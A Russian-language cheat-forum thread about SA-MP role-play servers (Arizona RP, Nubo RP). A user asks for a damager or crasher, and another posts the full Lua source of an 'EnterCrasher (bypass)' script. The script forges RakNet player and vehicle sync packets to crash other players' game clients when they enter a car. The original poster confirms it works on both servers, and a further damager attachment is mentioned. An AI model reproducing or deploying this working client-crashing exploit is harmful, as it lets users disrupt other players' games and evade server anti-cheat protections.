Damager / Crasher / Rvanka s nog For ARZ(RPG), NUBO RP

Wano

Активный
Автор темы
218
29
Ищу дамагер, либо крашер, на край можно и рванку с ног для гейзоны и нубо рп, всем буду благодарен.
 
Решение
Ищу дамагер, либо крашер, на край можно и рванку с ног для гейзоны и нубо рп, всем буду благодарен.
Не знаю,как насчёт аризоны, но на нубо работает.
Источник - [LUA] ENTER CRASHER - КРАШИМ ИГРОКОВ ПО ФАНУ [ARP, DRP, REVENT]
Lua:
script_name("EnterCrasher (bypass)")
script_author("seven.eXe")

local samp = require "samp.events"
local act = false

function main()
    repeat wait(0) until isSampAvailable()
    sampAddChatMessage("Enter crasher (Bypass) | {FFFFFF}Loaded. Author: S E V E N", 0xFFFF00)
    sampRegisterChatCommand("ecrash", function()
        act = not act
        sampAddChatMessage(act and "Enter crasher (Bypass) | {FFFFFF}Activated." or "Enter crasher (Bypass) | {FFFFFF}Deactivated", 0xFFFF00)
    end)
end...

Serga1132

Участник
91
36
Ищу дамагер, либо крашер, на край можно и рванку с ног для гейзоны и нубо рп, всем буду благодарен.
Не знаю,как насчёт аризоны, но на нубо работает.
Источник - [LUA] ENTER CRASHER - КРАШИМ ИГРОКОВ ПО ФАНУ [ARP, DRP, REVENT]
Lua:
script_name("EnterCrasher (bypass)")
script_author("seven.eXe")

local samp = require "samp.events"
local act = false

function main()
    repeat wait(0) until isSampAvailable()
    sampAddChatMessage("Enter crasher (Bypass) | {FFFFFF}Loaded. Author: S E V E N", 0xFFFF00)
    sampRegisterChatCommand("ecrash", function()
        act = not act
        sampAddChatMessage(act and "Enter crasher (Bypass) | {FFFFFF}Activated." or "Enter crasher (Bypass) | {FFFFFF}Deactivated", 0xFFFF00)
    end)
end

function samp.onPlayerEnterVehicle(playerId, enterId, passenger)
    lua_thread.create(function()
        if act then
            local _, crashedVehicle = sampGetCarHandleBySampVehicleId(enterId)
            local vehPos = {getCarCoordinates(crashedVehicle)}
            wait(200)
            local data = samp_create_sync_data('player')
            data.position = {vehPos[1], vehPos[2], vehPos[3]}
            data.moveSpeed = {0.4999, 0.4999, 0.4999}
            data.send()
            local data = samp_create_sync_data('unoccupied')
            data.vehicleId = enterId
            data.seatId = 0
            data.position = {vehPos[1], vehPos[2], vehPos[3] - 0.5}
            data.send()
            sampAddChatMessage("Enter crasher (Bypass) | [" .. playerId .. "] Crashed.", 0xFFFF00)
        end
    end)
end

function samp_create_sync_data(sync_type, copy_from_player)
    local ffi = require 'ffi'
    local sampfuncs = require 'sampfuncs'
    -- from SAMP.Lua
    local raknet = require 'samp.raknet'
    require 'samp.synchronization'

    copy_from_player = copy_from_player or true
    local sync_traits = {
        player = {'PlayerSyncData', raknet.PACKET.PLAYER_SYNC, sampStorePlayerOnfootData},
        vehicle = {'VehicleSyncData', raknet.PACKET.VEHICLE_SYNC, sampStorePlayerIncarData},
        passenger = {'PassengerSyncData', raknet.PACKET.PASSENGER_SYNC, sampStorePlayerPassengerData},
        aim = {'AimSyncData', raknet.PACKET.AIM_SYNC, sampStorePlayerAimData},
        trailer = {'TrailerSyncData', raknet.PACKET.TRAILER_SYNC, sampStorePlayerTrailerData},
        unoccupied = {'UnoccupiedSyncData', raknet.PACKET.UNOCCUPIED_SYNC, nil},
        bullet = {'BulletSyncData', raknet.PACKET.BULLET_SYNC, nil},
        spectator = {'SpectatorSyncData', raknet.PACKET.SPECTATOR_SYNC, nil}
    }
    local sync_info = sync_traits[sync_type]
    local data_type = 'struct ' .. sync_info[1]
    local data = ffi.new(data_type, {})
    local raw_data_ptr = tonumber(ffi.cast('uintptr_t', ffi.new(data_type .. '*', data)))
    -- copy player's sync data to the allocated memory
    if copy_from_player then
        local copy_func = sync_info[3]
        if copy_func then
            local _, player_id
            if copy_from_player == true then
                _, player_id = sampGetPlayerIdByCharHandle(PLAYER_PED)
            else
                player_id = tonumber(copy_from_player)
            end
            copy_func(player_id, raw_data_ptr)
        end
    end
    -- function to send packet
    local func_send = function()
        local bs = raknetNewBitStream()
        raknetBitStreamWriteInt8(bs, sync_info[2])
        raknetBitStreamWriteBuffer(bs, raw_data_ptr, ffi.sizeof(data))
        raknetSendBitStreamEx(bs, sampfuncs.HIGH_PRIORITY, sampfuncs.UNRELIABLE_SEQUENCED, 1)
        raknetDeleteBitStream(bs)
    end
    -- metatable to access sync data and 'send' function
    local mt = {
        __index = function(t, index)
            return data[index]
        end,
        __newindex = function(t, index, value)
            data[index] = value
        end
    }
    return setmetatable({send = func_send}, mt)
end
Уверен, есть тема на BH по поводу этого скрипта, но я не нашёл и не видел.
 

Вложения

  • EnterCrasher (bypass).lua
    3.7 KB · Просмотры: 577

Wano

Активный
Автор темы
218
29
Не знаю,как насчёт аризоны, но на нубо работает.
Источник - [LUA] ENTER CRASHER - КРАШИМ ИГРОКОВ ПО ФАНУ [ARP, DRP, REVENT]
Lua:
script_name("EnterCrasher (bypass)")
script_author("seven.eXe")

local samp = require "samp.events"
local act = false

function main()
    repeat wait(0) until isSampAvailable()
    sampAddChatMessage("Enter crasher (Bypass) | {FFFFFF}Loaded. Author: S E V E N", 0xFFFF00)
    sampRegisterChatCommand("ecrash", function()
        act = not act
        sampAddChatMessage(act and "Enter crasher (Bypass) | {FFFFFF}Activated." or "Enter crasher (Bypass) | {FFFFFF}Deactivated", 0xFFFF00)
    end)
end

function samp.onPlayerEnterVehicle(playerId, enterId, passenger)
    lua_thread.create(function()
        if act then
            local _, crashedVehicle = sampGetCarHandleBySampVehicleId(enterId)
            local vehPos = {getCarCoordinates(crashedVehicle)}
            wait(200)
            local data = samp_create_sync_data('player')
            data.position = {vehPos[1], vehPos[2], vehPos[3]}
            data.moveSpeed = {0.4999, 0.4999, 0.4999}
            data.send()
            local data = samp_create_sync_data('unoccupied')
            data.vehicleId = enterId
            data.seatId = 0
            data.position = {vehPos[1], vehPos[2], vehPos[3] - 0.5}
            data.send()
            sampAddChatMessage("Enter crasher (Bypass) | [" .. playerId .. "] Crashed.", 0xFFFF00)
        end
    end)
end

function samp_create_sync_data(sync_type, copy_from_player)
    local ffi = require 'ffi'
    local sampfuncs = require 'sampfuncs'
    -- from SAMP.Lua
    local raknet = require 'samp.raknet'
    require 'samp.synchronization'

    copy_from_player = copy_from_player or true
    local sync_traits = {
        player = {'PlayerSyncData', raknet.PACKET.PLAYER_SYNC, sampStorePlayerOnfootData},
        vehicle = {'VehicleSyncData', raknet.PACKET.VEHICLE_SYNC, sampStorePlayerIncarData},
        passenger = {'PassengerSyncData', raknet.PACKET.PASSENGER_SYNC, sampStorePlayerPassengerData},
        aim = {'AimSyncData', raknet.PACKET.AIM_SYNC, sampStorePlayerAimData},
        trailer = {'TrailerSyncData', raknet.PACKET.TRAILER_SYNC, sampStorePlayerTrailerData},
        unoccupied = {'UnoccupiedSyncData', raknet.PACKET.UNOCCUPIED_SYNC, nil},
        bullet = {'BulletSyncData', raknet.PACKET.BULLET_SYNC, nil},
        spectator = {'SpectatorSyncData', raknet.PACKET.SPECTATOR_SYNC, nil}
    }
    local sync_info = sync_traits[sync_type]
    local data_type = 'struct ' .. sync_info[1]
    local data = ffi.new(data_type, {})
    local raw_data_ptr = tonumber(ffi.cast('uintptr_t', ffi.new(data_type .. '*', data)))
    -- copy player's sync data to the allocated memory
    if copy_from_player then
        local copy_func = sync_info[3]
        if copy_func then
            local _, player_id
            if copy_from_player == true then
                _, player_id = sampGetPlayerIdByCharHandle(PLAYER_PED)
            else
                player_id = tonumber(copy_from_player)
            end
            copy_func(player_id, raw_data_ptr)
        end
    end
    -- function to send packet
    local func_send = function()
        local bs = raknetNewBitStream()
        raknetBitStreamWriteInt8(bs, sync_info[2])
        raknetBitStreamWriteBuffer(bs, raw_data_ptr, ffi.sizeof(data))
        raknetSendBitStreamEx(bs, sampfuncs.HIGH_PRIORITY, sampfuncs.UNRELIABLE_SEQUENCED, 1)
        raknetDeleteBitStream(bs)
    end
    -- metatable to access sync data and 'send' function
    local mt = {
        __index = function(t, index)
            return data[index]
        end,
        __newindex = function(t, index, value)
            data[index] = value
        end
    }
    return setmetatable({send = func_send}, mt)
end
Уверен, есть тема на BH по поводу этого скрипта, но я не нашёл и не видел.
Привет бро! спасибо за крашер! Прекрасно работает и на нубо рп, и на арз, правда на арз кикает временами, но работу свою все равно выполняет)
 

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Активный
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unknown.png
 

Вложения

  • damager.cs
    2.4 KB · Просмотры: 112